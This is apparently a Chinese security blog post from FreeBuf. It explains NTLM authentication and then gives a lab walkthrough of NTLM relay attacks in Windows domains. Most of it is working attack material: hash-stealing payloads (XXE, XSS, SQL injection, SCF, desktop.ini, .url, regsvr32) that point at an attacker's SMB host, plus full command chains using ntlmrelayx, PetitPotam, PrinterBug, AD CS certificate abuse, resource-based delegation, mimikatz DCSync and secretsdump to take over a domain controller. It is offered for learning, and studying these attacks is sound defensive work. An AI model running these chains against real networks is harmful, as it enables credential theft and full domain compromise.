freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

NTLM中继
2023-03-31 15:00:26
所属地 重庆

前言

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。(本文仅用于交流学习)

认证机制

NTLM采用一种质询/应答模式的身份验证机制

NTLM协议的认证过程分为三步:

  • 协商:主要用于确认双方协议版本。

  • 质询:就是挑战(Chalenge)/响应(Response)认证机制起作用的范畴。

  • 验证:验证主要是在质询完成后,验证结果。

工作组

  • 当客户端想要访问某个服务时,此时客户端会在本地缓存一份服务密码的NTLM Hash,然后向服务器发送Negotiate消息。(消息中包含明文表示的用户名与其他协商信息)
  • 服务器收到客户端发送的消息后,先判断本地是否有消息中的用户名,如果存在就会提供自己支持的服务内容,回复Challenge消息。(消息中包含一个由服务端随机生成的16位Challenge,服务端也会缓存此Challenge)

  • 客户端收到消息后,使用1中本地缓存的NTLM Hash对Challenge进行加密生成Responce,然后将Responce、用户名、Challenge组合得到Net-NTLM Hash,然后发送给服务端。

  • 服务端收到消息(Net-NTLM Hash)后,用本地自己密码的NTLM Hash对第二步中本地缓存的Challenge进行加密,然后与收到的Responce进行比较,如果一致就认证成功。

域环境

由于域环境中密码是存储在域控中的NTDS.dit中的,因此还需要域控进行认证

  • 当客户端想要访问某个服务时,此时客户端会在本地缓存一份服务密码的NTLM Hash,然后向服务器发送Negotiate消息。(消息中包含明文表示的用户名与其他协商信息)

  • 服务器收到客户端发送的消息后,先判断本地是否有消息中的用户名,如果存在就会提供自己支持的服务内容,回复Challenge消息。(消息中包含一个由服务端随机生成的16位Challenge,服务端也会缓存此Challenge)

  • 客户端收到消息后,使用1中本地缓存的NTLM Hash对Challenge进行加密生成Responce,然后将Responce、用户名、Challenge组合得到Net-NTLM Hash,然后发送给服务端。

  • 服务端收到消息(Net-NTLM Hash)后将其发送给域控,域控根据消息中的用户名获取本地存储的该用户名的NTLM Hash,用其对Challenge进行加密,然后与Responce进行比较,如果一致则认证成功。

  • 服务端根据域控返回的结果对客户端进行反应。

抓包分析

利用wireshark抓包简单看看流程,这里就看工作组的认证,win10与win7建立ipc连接,然后wireshark抓包测试

前四个包是协商

这里可以看到win7主机返回了Challenge


客户端收到Challenge后,使用1中本地缓存的NTLM Hash对Challenge进行加密生成Responce,然后将Responce、用户名、Challenge组合得到Net-NTLM Hash,然后发送给服务端。

Net-NTLM Hash的组成

#Net-NTLM Hash v1
username:hostname:LM responce:NTLM responce:challenge
#Net-NTLM Hash v2
username:domain:challenge:HMAC-MD5:blob

现在基本都是v2了,我们抓包具体看看v2的组成,主要就是Type2、Type3里面的内容

Type2中获得challenge

NTLM Server Challenge: 291b8a56a1646beb

Type3中获得username、domain、HMAC-MD5、blob

(其中HMAC-MD5就是NTProofStr、blob即Responce减去NTProofStr)

User name: tes
Domain name: DESKTOP-05ROOG9
HMAC-MD5(NTProofStr): 941e0b3ed496f3e723a4ba53171d8ad0
blob:0101000000000000b8923acf1609d901163360923143a2120000000002000c004800410043004b004d00590001001e00570049004e002d0046004e004c004f004d00540051004400480055005100040014006800610063006b006d0079002e0063006f006d0003003400570049004e002d0046004e004c004f004d005400510044004800550051002e006800610063006b006d0079002e0063006f006d00050014006800610063006b006d0079002e0063006f006d0007000800b8923acf1609d90106000400020000000800300030000000000000000100000000200000d384de6f2cc6b2c10b6e707fedcf6d256ce52574dfad4dc7cfecf7a50ac359e40a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310030002e00310033003200000000000000000000000000

所以组合起来就是

tes:DESKTOP-05ROOG9:291b8a56a1646beb:941e0b3ed496f3e723a4ba53171d8ad0:0101000000000000b8923acf1609d901163360923143a2120000000002000c004800410043004b004d00590001001e00570049004e002d0046004e004c004f004d00540051004400480055005100040014006800610063006b006d0079002e0063006f006d0003003400570049004e002d0046004e004c004f004d005400510044004800550051002e006800610063006b006d0079002e0063006f006d00050014006800610063006b006d0079002e0063006f006d0007000800b8923acf1609d90106000400020000000800300030000000000000000100000000200000d384de6f2cc6b2c10b6e707fedcf6d256ce52574dfad4dc7cfecf7a50ac359e40a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310030002e00310033003200000000000000000000000000

大致利用流程

实际可以根据中间人攻击(实质就是钓鱼),或者利用漏洞强制进行认证流程,获取到Net-NTLM Hash。利用对其进行密码破解,或者重放给要攻击的机器。

中继攻击一般使用在域环境中,因为工作组中每个机器密码都不一样,而且密码都存储在自己本地的SAM文件中,因此无法中继到别的机器;

而域环境中的密码都存储在域控的NTDS.dit中,如果没有对域用户进行登录的限制,那么就可以利用。

NTLM常用攻击手法

基础知识

NTLM是一种嵌入式协议,消息传输依赖上层协议(SMB、LDAP、FTP、POP3、HTTP、HTTPS、MYSSQL等),

因此只要只用这些协议的程序都可以要求用户发起NTLM认证请求,因此可以尝试进行截获其Net-NTLM Hash。

可以结合Responder进行获取

窃取Net-NTLM Hash

文件包含

可以通过远程文件包含来获取对方机器的Net-NTLM Hash,不受是否开启远程包含影响

XXE

我们可以利用xxe来窃取,这里使用php://filter伪协议

<?xmlversion="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=//192.168.235.1/asdasd" >
]>
<root>
<name></name>
<tel></tel>
<email>OUT&xxe;OUT</email>
<password></password>
</root>

XSS

我们同样可以利用xss来窃取Net-NTLM Hash

<imgsrc="\\\\192.168.235.128\\asdasd"onerror=alert(1)>

Myql注入

很显然此前提是没有限制导入导出,不然无法获取到

http://192.168.235.130/sqli-labs/Less-2/?id=-1unionselect1,(load_file('\\\\192.168.235.128\\asd')),3

Mssql

我们可以利用堆叠查询,来调用存储过程获取Net-NTLM Hash

';declare @q varchar(99);set @q='\\192.168.235.128\asdasd'; exec master.dbo.xp_dirtree @q

Regsvr32

我们同样可以利用Regsvr32来获取Net-NTLM Hash

regsvr32 /s /u /i://192.168.235.128/asdasd scrobj.dll

SCF文件

SCF文件时Windows文件资源管理器命令文件,也是一种可执行文件。该文件中的IconFile属性可以指定UNC路径,因此也可以利用此获取NTLM Hash。

当访问该文件夹时,即可触发(文件名可以不相同)

[Shell]
Command=2
IconFile=\\192.168.235.128\asd.ico
[Taskbar]
Command=ToggleDesktop

Desktop.ini

Windows系统文件夹下有一个隐藏文件desktop.ini,用来指定和存储文件夹图标这类的设置。

我们可以先创建一个文件夹1,然后创建一个desktop.ini文件,并且写入内容指向我们的恶意服务器

mkdir1
attrib +s 1
cd1
echo[.ShellClassInfo] > desktop.ini
echoIconResource=\\192.168.235.128\asdasd >> desktop.ini
attrib +s +h desktop.ini

快捷方式文件(.url)

Windows中有一种Internet快捷方式,我们可以指定为我们的恶意服务器

echo[InternetShortcut] > stealMyHashes.url 
echoURL=file://192.168.235.128/asdasd >> stealMyHashes.url

powershell

我们同样可以利用powershell来窃取Net-NTLM Hash

Invoke-Item\\192.168.235.128\asdasd
Get-Content\\192.168.235.128\asdasd
Start-Process\\192.168.235.128\asdasd

域环境下利用

拓扑环境

基础

实验环境都中继到win7(10.10.10.201)

当域管理用户(实验发现域用户一般无法中继成功),访问我们恶意的服务时,便可以通过中继拿到被中继主机的shell,或在其上执行命令。

我们还需要查看对方是否开启smb签名(域控默认开启),因此无法中继到域控,我们可以利用/usr/share/responder/tools中的RunFinger.py

来进行探测网络中,没有开启smb签名的机器来进行中继

python3RunFinger.py-i10.10.10.0/24

ntlmrelayx.py

优点:

利用python3-impacket/examples中的文件利用中继攻击来执行命令

python3ntlmrelayx.py-t10.10.10.201-c"ipconfig"-smb2support

smbrealy.py

优点:

dump目标主机的密码hash

python3smbrelayx.py-h10.10.10.201

执行命令

MultiRelay.py

位于/usr/share/responder/tools

优点:

可以获得一个交互的shell

python3 MultiRelay.py -t 10.10.10.201 -u ALL 

PrinterBug漏洞

简介这里不在叙述了

需要一个域用户的账户

通过printerbug.py连接到受害机器(10.10.10.80),迫使其连接到受控的服务器(10.10.10.128)进行ntlm认证,可以结合上述工具抓取Net-Ntlm Hash或者执行命令

python3printerbug.py域名/账号:密码@受害机器受控的服务器

python3printerbug.pyhackmy.com/administrator:033478Qaz@10.10.10.8010.10.10.128

PetitPotam漏洞

和上面类似

需要一个域用户的账户

通过PetitPotam.py连接到受害机器(10.10.10.80),迫使其连接到受控的服务器(10.10.10.128)进行ntlm认证,可以结合上述工具抓取Net-Ntlm Hash或者执行命令

python3PetitPotam.py-d域名-u用户名-p密码受控的服务器受害机器

python3PetitPotam.py-dhackmy.com-uwin7-p123456Asd10.10.10.12810.10.10.80

中继至AD CS

AD CS证书服务(SSL证书):

可以部署企业根或独立根建立SSL加密通道,这是所有服务器证书,无论品牌、申请方式都可以起到的功能,唯一的价值区别在于加密强度,目前,达到128位对称加密强度的服务器证书均可以实现有保障的加密通道。

测试环境

DC10.10.10.10
辅DC+ADCS   10.10.10.111
域用户10.10.10.130
kali10.10.10.143

利用流程

  • 利用PetitPotam或printerbug迫使域控使用机器账户发起NTLM认证请求

  • 将域控发起的NTLM认证请求中继到AD CS的Web注册接口

  • 利用证书模板为域控机器账户申请证书

  • 利用申请到的证书进行进一步的操作,以获取域控权限

定位域内AD CS证书服务器

certutil -CA

kali执行如下命令(实战中是恶意服务器下执行)

python3ntlmrelayx.py-thttp://10.10.10.111/certsrv/certfnsh.asp-smb2support--adcs--templateDomainController

--template#指定证书模板

利用PetitPotam.py强制使DC向kali(受控的服务器)发起认证请求

python3PetitPotam.py10.10.10.14310.10.10.10

此时ntlmrelay即可获得域控机器账户base64编码格式的证书

法一

使用gettgtpkinit.py结合获得的证书去申请票据

python3gettgtpkinit.py-pfx-base64"MIIRtQIBAzCCEW8GC......K1BAgQMyWi4+VhTA=="-dc-ip域控iphackmy.com/域控机器账户\$DC.ccache

python3gettgtpkinit.py-pfx-base64"MIIRtQIBAzCCEW8GC......K1BAgQMyWi4+VhTA=="-dc-ip10.10.10.10hackmy.com/WIN-7D8NKLK78H0\$DC.ccache

可以导出域控机器账户的Hash(这里的key就是上一步申请票据时的key)

KRB5CCNAME=DC.ccachepython3getnthash.py-key70432529e3a0d5c9c6b99db67d6d1688ddad34f3d42cd29e5fc9e1d65d6deec9hackmy.com/WIN-7D8NKLK78H0\$-dc-ip10.10.10.10

因为是域控机器账户的票据,我们可以利用impacket中ticketConverter.py的脚本进行一下转换,转换为kirbi的格式

python3ticketConverter.pyDC.ccacheDC.kirbi

之后将票据放到普通域用户机器上,利用mimikatz进行票据导入,之后就可进行Dcsync了

没导入票据前是无法导出krbtgt的HASH的

导入票据

mimikatz.exe "kerberos::purge""kerberos::ptt DC.kirbi"
lsadump::dcsync /user:krbtgt

lsadump::dcsync /all /csv

我们可以直接进行Dcsync的操作,因为是域控机器账户的票据

exportKRB5CCNAME=DC.ccache
python3secretsdump.pyWIN-V8LD0K26U5I.hackmy.com-k-no-pass-target-ip10.10.10.10-dc-ip10.10.10.10

法二

利用Rubeus.exe

Rubeus.exe asktgt /user:WIN-7D8NKLK78H0$ /certificate:MIIRtQIBAzCC.....VXcOBAieoELDmJ01iA==/ptt

之后就是一样的了,利用mimikatz进行Dcsync

抓包分析

我们接下来利用Wireshark抓包看看,域控向kali(恶意服务器)发起的NTLM认证请求

我们看看第三步,这些是啥就不在叙述了(很明了了)

然后我们再来看看AD CS上http的认证请求,恶意服务器将获得的凭证去请求AD CS的认证

很显然,一目了然,将获得的凭证尝试去认证

中继至LDAP

Ldap签名

除了relay到smb,relay到ldap也是很常用的,比如CVE-2018-8581和CVE-2019-1040就利用到了这一点。

relay到ldap也是要求被攻击机器不开启ldap签名的。在默认情况下,ldap服务器就在域控里面,而且默认策略就是协商签名。而不是强制签名。

也就是说是否签名是由客户端决定的。服务端跟客户端协商是否签名。

(客户端分情况,如果是smb协议的话,默认要求签名的,如果是webadv或者http协议,是不要求签名的)

CVE-2019-1040

漏洞可绕过NTLM MIC的防护机制,以使我们修改标志位,来让服务器不进行ldap签名。

RBCD+petitpotam

大多数情况我们获得的用户都是普通的域用户权限,因此无法Write Dcsync ACL操作。因此我们可以利用Relay to LDAP操作活动目录来为

指定机器设置基于资源的约束委派(RBCD)。

环境

利用impacket中的addcomputer.py脚本,利用普通域用户在域中添加一个机器账户

机器账户名:test$

密码:passwdwd

python3addcomputer.pyhackmy.com/win10:123456Qwe-computer-nametest\$-computer-pass033478Passwd-dc-ip10.10.10.10

在kali(实际为恶意服务器)上启动监听

python3ntlmrelayx.py-tldap://10.10.10.10-debug--delegate-access--escalate-usertest\$-smb2support--remove-mic

--remove-mic#消除NTLM中的MIC标志
--escalate-user#指定要提升权限的用户

使用PetitPotam.py强制域内机器连接到恶意服务器(在低版本(08和12)的情况下,可以匿名触发,不需要域用户。在16版本以上,就需要指定一个普通域用户账号和密码)

python3PetitPotam.py-dhackmy.com-uwin10-p123456Qwe10.10.10.14310.10.10.132

此时已经成功设置了test$机器账户基于WIN-FNLOMTQDHUQ(win7)机器的基于资源的约束委派

利用impacket中的getST.py脚本进行基于资源的约束委派攻击,生成票据

python3getST.pyhackmy.com/test\$:033478Passwd-spncifs/WIN-FNLOMTQDHUQ.hackmy.com-impersonateAdministrator-dc-ip10.10.10.10

导入票据,即可获得WIN-FNLOMTQDHUQ(win7)机器的权限(如果PetitPotam.py阶段是域控请求,那么将获得域控的权限)

KRB5CCNAME=Administrator.ccachepython3psexec.py-kWIN-FNLOMTQDHUQ.hackmy.com-target-ip10.10.10.132-dc-ip10.10.10.10-no-pass

KRB5CCNAME=Administrator.ccachepython3smbexec.py-kWIN-FNLOMTQDHUQ.hackmy.com-target-ip10.10.10.132-dc-ip10.10.10.10-no-pass

Exchange+petitpotam

Exchange机器用户具有write-acl权限,可以给任意用户提权,赋予Dcsync的权限,从而dump出所有密码哈希值。

利用条件
  • Exchange服务器可以是任何版本(包括为PrivExchange修补的版本)。唯一的要求是,在以共享权限或RBAC模式安装,Exchange默认具有高权限。

  • 域内任意账户。

  • CVE-2019-1040漏洞的实质是NTLM数据包完整性校验存在缺陷,故可以修改NTLM身份验证数据包而不会使身份验证失效。而此攻击链中攻击者删除了数据包中阻止从SMB转发到LDAP的标志。

  • 构造请求使Exchange Server向攻击者进行身份验证,并通过LDAP将该身份验证中继到域控制器,即可使用中继受害者的权限在Active Directory中执行操作。比如为攻击者帐户授予DCSync权限。

  • 如果在可信但完全不同的AD林中有用户,同样可以在域中执行完全相同的攻击。

环境

在kali(恶意服务器)上启动ntlmrelayx监听

python3ntlmrelayx.py-tldap://10.10.10.10--remove-mic--escalate-userwin10-smb2support

--remove-mic#消除NTLM中的MIC标志
--escalate-user#指定要提升权限的用户

利用PetitPotam强制Exchange机器与kali(恶意服务器)连接,ntlmrelayx.py将截获Exchange机器账户的Net-NTLM Hash,

并将其中继到域控机器的LDAP服务。由于Exchange的机器账户默认拥有WriteDACL的权限,因此将赋予指定的普通域用户DCSync权限。

python3PetitPotam.py-dhackmy.com-uwin10-p123456Qwe10.10.10.14310.10.10.11

此时win10账户已经有了DCSync的权限

python3secretsdump.pyhackmy.com/win10:"123456Qwe"@10.10.10.10-just-dc-ntlm



# 内网渗透
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录